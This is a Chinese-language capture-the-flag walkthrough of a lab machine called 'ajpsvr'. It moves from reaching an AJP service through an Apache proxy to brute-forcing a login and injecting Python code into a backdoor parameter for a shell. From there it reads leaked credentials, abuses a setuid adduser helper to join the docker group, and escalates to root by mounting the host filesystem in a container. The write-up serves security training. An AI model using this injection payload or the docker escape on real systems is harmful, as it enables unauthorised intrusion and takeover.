群友靶机-ajpsvr

常规信息收集

```
# Nmap 7.95 scan initiated Wed Jul 16 04:28:51 2025 as: /usr/lib/nmap/nmap -sT
-sC -sV -O -p22,80,8010 -oA details 10.0.2.42
Nmap scan report for 10.0.2.42
Host is up (0.00038s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey:
|   256 fc:b2:88:5d:09:d8:06:40:81:cd:5a:5c:53:79:60:54 (ECDSA)
|_  256 5b:b9:4d:de:03:f0:ee:72:d3:e3:e9:9d:e8:f1:3f:bd (ED25519)
80/tcp   open  http    nginx
|_http-title: 403 Forbidden
8010/tcp open  xmpp?
| fingerprint-strings:
|   GenericLines:
|_    ajpy
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8010-TCP:V=7.95%I=7%D=7/16%Time=687762CA%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,8,"\x124\0\x04ajpy");
MAC Address: 08:00:27:70:A2:29 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS
7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
```

```
https://nmap.org/submit/ .
# Nmap done at Wed Jul 16 04:28:59 2025 -- 1 IP address (1 host up) scanned in
8.02 seconds
```

可以看到开放了22,80,8010 80端口简单扫了一下 没有任何结果 那看来是从8010入手了
百度搜一下 ajpsvr 发现ajp服务

```
### 方法 1：通过 Web 服务器（如 Apache/Nginx）代理转发

这是最常见的方式，将 AJP 服务暴露为 HTTP 服务：

1. **配置 Apache**（使用 `mod_proxy_ajp`）：

    apache

    # 在 Apache 配置文件中（如 httpd.conf）添加
    ProxyPass "/ajp" "ajp://10.0.2.42:8010/"
    ProxyPassReverse "/ajp" "ajp://10.0.2.42:8010/"

    重启 Apache 后，访问 http://你的Apache地址/ajp 即可通过 HTTP 与 AJP 服务交互。
```

那就按照操作一步步来 配置完成后访问
http://127.0.0.1/ajp

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ curl http://127.0.0.1/ajp/
Hello from AJP!
```

既然如此 简单扫一下目录

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ dirsearch -u http://127.0.0.1/ajp/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
```

```
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 |
Wordlist size: 11460

Output File: /home/kali/Desktop/ajpsvr/reports/http_127.0.0.1/_ajp__25-07-
17_02-29-34.txt

Target: http://127.0.0.1/

[02:29:34] Starting: ajp/
[02:29:34] 404 -  271B  - /ajp/%2e%2e//google.com
[02:29:47] 200 -   21B  - /ajp/login
[02:29:55] 200 -   12B  - /ajp/test

Task Completed
```

有login和test test没东西

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ curl http://127.0.0.1/ajp/login
No password parameter
```

提示需要密码 那随便给一个试一下

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ curl http://127.0.0.1/ajp/login?password=123
Password length is 5
```

提示需要五位 那生成五位字典进行爆破 注意url编码

最后得到五位密码!@#$%

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ curl http://127.0.0.1/ajp/login?password=%21%40%23%24%25
/backdooooooooooooooooor
```

访问后后后后后后门

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ curl http://127.0.0.1/ajp/backdooooooooooooooooor
```

没反应 看来是需要参数 先试一下cmd

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ curl http://127.0.0.1/ajp/backdooooooooooooooooor?cmd=ls
error
```

再试一下别的参数

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ curl http://127.0.0.1/ajp/backdooooooooooooooooor?command=ls
```

那参数应该是没问题的 就是用法 简单尝试后发现是python

```
http://127.0.0.1/ajp/backdooooooooooooooooor?
cmd=__import__(%27os%27).popen(%27whoami%27).read()

welcome
```

那简单弹个shell 拿下初步权限

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.43] from (UNKNOWN) [10.0.2.42] 44031
id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
whoami
welcome
```

最终在welcome下拿到userflag

```
localhost:~$ ls -al
ls -al
```

```
total 32
drwxr-sr-x    3 welcome  welcome       4096 Jul 16 17:38 .
drwxr-xr-x   10 root     root          4096 Jul 17 11:35 ..
-rw-------    1 welcome  welcome       1078 Jul 17 09:16 .ash_history
drwxr-sr-x    2 welcome  welcome       4096 Jul 16 17:37 .ssh
-rw-------    1 welcome  welcome       1474 Jul 16 17:38 .viminfo
-rwxr-xr-x    1 root     welcome       6926 Jul 13 13:58 server.py
-rw-r--r--    1 root     welcome         39 Jul 14 15:11 user.txt
localhost:~$ cat us
cat user.txt
flag{5a80870310e5a3bc10c00ef6d20a3cac}
```

那接下来就是提权了 先看一下链接

```
localhost:~$ netstat -tualnp
netstat -tualnp
netstat: showing only processes with your user ID
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
-
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
-
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN
-
tcp        0      0 0.0.0.0:8010            0.0.0.0:*               LISTEN
2857/python3
tcp        0      0 :::22                   :::*                    LISTEN
-
tcp        0      0 :::80                   :::*                    LISTEN
-
```

那个5000端口还是挺感兴趣的 访问一下

```
localhost:~$ nc 127.0.0.1 5000
Welcome to SignatureChain CTF over TCP!
Type 'view', 'submit', 'hint', or 'exit'
> view
```

```
[
  {
    "index": 1,
    "sender": "system",
    "recipient": "alice",
    "amount": 100,
    "signature":
"14ed219616014b683ae66d1ec2e098c84ff09695b33fff0a7652505e260be0aa",
    "note": "1"
  },
  {
    "index": 2,
    "sender": "alice",
    "recipient": "bob",
    "amount": 50,
    "signature":
"08188ce485e280ba7d8c614a776a478d75ac2e985a535d1d126117ceb59ac952",
    "note": "2"
  }
]
> hint
[Hint 1] Use 'view' to inspect part of the blockchain.
[Hint 2] The signature is just sha256(sender->recipient:amount).
[Hint 3] Try forging a valid signature with this knowledge.
[Hint 4] What if admin sent you 999 coins?
```

看样子是个小游戏 不过在/opt/server下可以找到源码

```
localhost:/opt/server$ cat server.py
import socket
import threading
import json
import hashlib

FLAG = "flag{superuser/f124cf868d5e3fa5a7de39f80a2f9a0e}"

def fake_sign(data):
    return hashlib.sha256(data.encode()).hexdigest()
```

```
blockchain = [
    {
        "index": 1,
        "sender": "system",
        "recipient": "alice",
        "amount": 100,
        "signature": fake_sign("system->alice:100"),
    },
    {
        "index": 2,
        "sender": "alice",
        "recipient": "bob",
        "amount": 50,
        "signature": fake_sign("alice->bob:50"),
    },
    {
        "index": 3,
        "sender": "admin",
        "recipient": "you",
        "amount": 999,
        "signature": fake_sign("admin->you:999"),
        "note": f"congrats! here is your flag: {FLAG}"
    }
]

hints = [
    "[Hint 1] Use 'view' to inspect part of the blockchain.",
    "[Hint 2] The signature is just sha256(sender->recipient:amount).",
    "[Hint 3] Try forging a valid signature with this knowledge.",
    "[Hint 4] What if admin sent you 999 coins?"
]

def handle_client(conn, addr):
    conn.sendall(b"Welcome to SignatureChain CTF over TCP!\nType 'view',
'submit', 'hint', or 'exit'\n> ")
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
```

```
            cmd = data.decode().strip()

            if cmd == "exit":
                conn.sendall(b"Goodbye!\n")
                break

            elif cmd == "view":
                partial_chain = json.dumps(blockchain[:2], indent=2)
                conn.sendall(partial_chain.encode() + b"\n> ")

            elif cmd == "hint":
                for h in hints:
                    conn.sendall(h.encode() + b"\n")
                conn.sendall(b"> ")

            elif cmd == "submit":
                conn.sendall(b"Paste your JSON chain (end with EOF or
Ctrl+D):\n")
                user_input = b""
                while True:
                    part = conn.recv(4096)
                    if not part:
                        break
                    user_input += part
                    if b"\x04" in part:  # Ctrl+D (EOF)
                        break

                try:
                    user_input = user_input.replace(b"\x04", b"")
                    user_chain = json.loads(user_input.decode())
                    for block in user_chain:
                        expected = fake_sign(f"{block['sender']}->
{block['recipient']}:{block['amount']}")
                        if block["signature"] != expected:
                            conn.sendall(f"Invalid signature in block
{block['index']}\n> ".encode())
                            break
                    else:
                        if any("flag" in str(b.get("note", "")) for b in
user_chain):
```

```
                            conn.sendall(f"Valid chain! Here is your flag:
{FLAG}\n".encode())
                        else:
                            conn.sendall(b"Valid chain, but no flag block
found.\n")
                    conn.sendall(b"> ")
                except Exception as e:
                    conn.sendall(f"JSON parse error: {str(e)}\n> ".encode())

            else:
                conn.sendall(b"Unknown command. Try 'view', 'hint', 'submit',
or 'exit'\n> ")

        except Exception:
            break
    conn.close()

def start_server(host="0.0.0.0", port=5000):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[+] Listening on {host}:{port}")
    while True:
        client, addr = server.accept()
        threading.Thread(target=handle_client, args=(client, addr)).start()

if __name__ == "__main__":
    start_server()
```

那就逃课一下下了 直接拿到superuser

```
┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ ssh superuser@10.0.2.42
superuser@10.0.2.42's password:

localhost:~$ id
uid=1001(superuser) gid=1001(superuser) groups=300(abuild),1001(superuser)
localhost:~$ find / -perm -u=s -type f 2>/dev/null
```

```
/bin/bbsuid
/usr/bin/sudo
/usr/bin/abuild-sudo
localhost:~$ /usr/bin/abuild
abuild           abuild-adduser   abuild-fetch     abuild-keygen    abuild-
sign      abuild-tar
abuild-addgroup  abuild-apk       abuild-gzsplit   abuild-rmtemp    abuild-
sudo
```

可以看到abuild有很多选项 最感兴趣的一眼是adduser 那先试一试

```
localhost:~$ /usr/bin/abuild-adduser
BusyBox v1.37.0 (2025-01-17 18:12:01 UTC) multi-call binary.

Usage: adduser [OPTIONS] USER [GROUP]

Create new user, or add USER to GROUP

        -h DIR          Home directory
        -g GECOS        GECOS field
        -s SHELL        Login shell
        -G GRP          Group
        -S              Create a system user
        -D              Don't assign a password
        -H              Don't create home directory
        -u UID          User id
        -k SKEL         Skeleton directory (/etc/skel)
```

看样子可以添加一个用户 那试一试创建一个test1 进入docker组

```
localhost:~$ /usr/bin/abuild-adduser test1 -G docker
Changing password for test1
New password:
Bad password: too short
Retype password:
passwd: password for test1 changed by root
localhost:~$ su test1
Password:
```

```
/home/superuser $ id
uid=1008(test1) gid=103(docker) groups=103(docker),103(docker)
```

可以看到 成功加入docker组 那就比较好提权了 挂载根目录就可以了

```
/home/superuser $ docker run -v /:/mnt --rm -it $(docker images -q | head -1)
chroot /mnt sh
/ # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(
dialout),26(tape),27(video)
/ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue
state UP
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
/ # cd /root
~ # ls -al
total 48
drwx------    5 root     root          4096 Jul 14 15:13 .
drwxr-xr-x   21 root     root          4096 Jul 13 18:06 ..
lrwxrwxrwx    1 root     root             9 Jun 29 23:26 .ash_history ->
/dev/null
drwxr-xr-x    3 root     root          4096 Jul  8 23:33 .cache
drwx------    3 root     root          4096 Jun 16 20:52 .docker
-rw-r--r--    1 root     root            26 Apr 28 00:04 .profile
-rw-------    1 root     root             7 Jul  8 23:32 .python_history
drwx------    2 root     root          4096 Jul 17 11:46 .ssh
-rw-------    1 root     root         14845 Jul 14 15:13 .viminfo
-rw-------    1 root     root            39 Jul 13 17:26 root.txt
~ # cat root.txt
flag{bd941f8fb8a7b5b1c34bd71a349d6d04}
```

最后 写一个ssh公钥进去 再登录上去 就拿下目标了

```
~/.ssh # ls
authorized_keys  known_hosts      known_hosts.old

┌──(kali㉿kali)-[~/Desktop/ajpsvr]
└─$ ssh root@10.0.2.42

localhost:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
qlen 1000
    link/ether 08:00:27:70:a2:29 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.42/24 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe70:a229/64 scope link
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:33:70:8e:19 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:33ff:fe70:8e19/64 scope link
       valid_lft forever preferred_lft forever
5: veth4389b44@if4: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc
noqueue master docker0 state UP
    link/ether aa:13:1d:7a:4e:00 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::a813:1dff:fe7a:4e00/64 scope link
       valid_lft forever preferred_lft forever
localhost:~# id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flo
ppy),20(dialout),26(tape),27(video)
```